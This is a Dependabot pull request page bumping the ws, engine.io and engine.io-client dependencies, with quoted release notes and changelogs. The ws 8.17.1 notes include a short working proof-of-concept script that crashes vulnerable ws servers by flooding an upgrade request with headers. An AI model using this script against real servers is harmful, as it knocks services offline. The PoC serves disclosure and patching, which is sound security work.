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miguelgrinberg / python-engineio

Python Engine.IO server and client
MIT License
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Bump ws, engine.io and engine.io-client in /examples/server/javascript #363

Closed dependabot[bot] closed 2 months ago

dependabot[bot] commented 2 months ago

Bumps ws to 8.17.1 and updates ancestor dependencies ws, engine.io and engine.io-client. These dependencies need to be updated together.

Updates ws from 8.11.0 to 8.17.1

Release notes

Sourced from ws's releases.

8.17.1

Bug fixes

  • Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;


for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;


for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';

  if (++count === 2000) break;
}



}


headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';


const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});


request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.

... (truncated)

Commits
  • 3c56601 [dist] 8.17.1
  • e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
  • 6a00029 [test] Increase code coverage
  • ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
  • b73b118 [dist] 8.17.0
  • 29694a5 [test] Use the highWaterMark variable
  • 934c9d6 [ci] Test on node 22
  • 1817bac [ci] Do not test on node 21
  • 96c9b3d [major] Flip the default value of allowSynchronousEvents (#2221)
  • e5f32c7 [fix] Emit at most one event per event loop iteration (#2218)
  • Additional commits viewable in compare view


Updates engine.io from 6.4.2 to 6.6.0

Release notes

Sourced from engine.io's releases.

6.6.0

Bug Fixes

  • fix websocket and webtransport send callbacks (#699) (fc21c4a)
  • properly call the send callback during upgrade (362bc78)
  • types: make socket.request writable (#697) (0efa04b)

Performance Improvements

  • do not reset the hearbeat timer on each packet (5359bae)
  • websocket: use bound callbacks (9a68c8c)

Credits

Huge thanks to Jonathan Perret for their contributions!

Links

6.5.5

This release contains a bump of the ws dependency, which includes an important security fix.

Advisory: https://github.com/advisories/GHSA-3h5v-q93c-6h6q

Bug Fixes

Links

6.5.4

This release contains some minor changes which should improve the memory usage of the server, notably this.

Links

... (truncated)

Changelog

Sourced from engine.io's changelog.

6.6.0 (2024-06-21)

Bug Fixes

  • fix websocket and webtransport send callbacks (#699) (fc21c4a)
  • properly call the send callback during upgrade (362bc78)
  • types: make socket.request writable (#697) (0efa04b)

Performance Improvements

  • do not reset the hearbeat timer on each packet (5359bae)
  • websocket: use bound callbacks (9a68c8c)

Dependencies

6.5.5 (2024-06-18)

This release contains a bump of the ws dependency, which includes an important security fix.

Advisory: https://github.com/advisories/GHSA-3h5v-q93c-6h6q

Bug Fixes

Dependencies

3.6.2 (2024-06-18)

This release contains a bump of the ws dependency, which includes an important security fix.

Advisory: https://github.com/advisories/GHSA-3h5v-q93c-6h6q

Dependencies

... (truncated)

Commits
  • 791aa58 chore(release): 6.6.0
  • 6d8a0be refactor: move the req attribute to the polling class
  • c310b7b refactor: improve types
  • 362bc78 fix: properly call the send callback during upgrade
  • afd2934 chore(dev-deps): bump ws and engine.io-client in /examples/memory-usage (#703)
  • 56c4664 chore(deps-dev): bump braces from 3.0.2 to 3.0.3 (#701)
  • 6b9e3e4 refactor: improve types
  • f521cba refactor: simplify the heartbeat code
  • 5359bae perf: do not reset the hearbeat timer on each packet
  • d3f45dc docs(changelog): add release notes for versions 3.6.2 and 6.5.5
  • Additional commits viewable in compare view


Updates engine.io-client from 4.1.4 to 6.6.0

Release notes

Sourced from engine.io-client's releases.

6.6.0

Features

Custom transport implementations

The transports option now accepts an array of transport implementations:

import { Socket, XHR, WebSocket } from "engine.io-client";

const socket = new Socket({
transports: [XHR, WebSocket]
});

Here is the list of provided implementations:

Transport Description
Fetch HTTP long-polling based on the built-in fetch() method.
NodeXHR HTTP long-polling based on the XMLHttpRequest object provided by the xmlhttprequest-ssl package.
XHR HTTP long-polling based on the built-in XMLHttpRequest object.
NodeWebSocket WebSocket transport based on the WebSocket object provided by the ws package.
WebSocket WebSocket transport based on the built-in WebSocket object.
WebTransport WebTransport transport based on the built-in WebTransport object.

Usage:

Transport browser Node.js Deno Bun
Fetch :white_check_mark: :white_check_mark: (1) :white_check_mark: :white_check_mark:
NodeXHR :white_check_mark: :white_check_mark: :white_check_mark:
XHR :white_check_mark:
NodeWebSocket :white_check_mark: :white_check_mark: :white_check_mark:
WebSocket :white_check_mark: :white_check_mark: (2) :white_check_mark: :white_check_mark:
WebTransport :white_check_mark: :white_check_mark:

(1) since v18.0.0 (2) since v21.0.0

Added in f4d898e and b11763b.

Transport tree-shaking

The feature above also comes with the ability to exclude the code related to unused transports (a.k.a. "tree-shaking"):

import { SocketWithoutUpgrade, WebSocket } from "engine.io-client";

</tr></table>

... (truncated)

Changelog

Sourced from engine.io-client's changelog.

6.6.0 (2024-06-21)

Bug Fixes

  • add some randomness to the cache busting string generator (b624c50)
  • fix cookie management with WebSocket (Node.js only) (e105551)

Features

  • add HTTP long-polling implementation based on fetch() (b11763b)
  • add the ability to test all transports (579b243)
  • allow to provide a list of transport implementations (f4d898e)

Dependencies

6.5.4 (2024-06-18)

This release contains a bump of the ws dependency, which includes an important security fix.

Advisory: https://github.com/advisories/GHSA-3h5v-q93c-6h6q

Dependencies

3.5.4 (2024-06-18)

This release contains a bump of the ws dependency, which includes an important security fix.

Advisory: https://github.com/advisories/GHSA-3h5v-q93c-6h6q

Dependencies

6.5.3 (2023-11-09)

... (truncated)

Commits
  • a17cbc5 chore(release): 6.6.0
  • 72408ad docs(changelog): include release notes from versions 3.5.3, 3.5.4 and 6.5.4
  • e97a4d3 chore: bump ws from 8.11.0 to 8.17.1 (#720)
  • b624c50 fix: add some randomness to the cache busting string generator
  • c087dc5 docs(changelog): include the size of the bundle
  • ce13763 ci: upgrade to actions/checkout@4 and actions/setup-node@4
  • 74cfb98 refactor: prefix private attributes to allow property mangling
  • 2b9abbb chore: restore the debug package in the dev bundle
  • e105551 fix: fix cookie management with WebSocket (Node.js only)
  • 3f66478 chore: remove unused rollup plugin
  • Additional commits viewable in compare view


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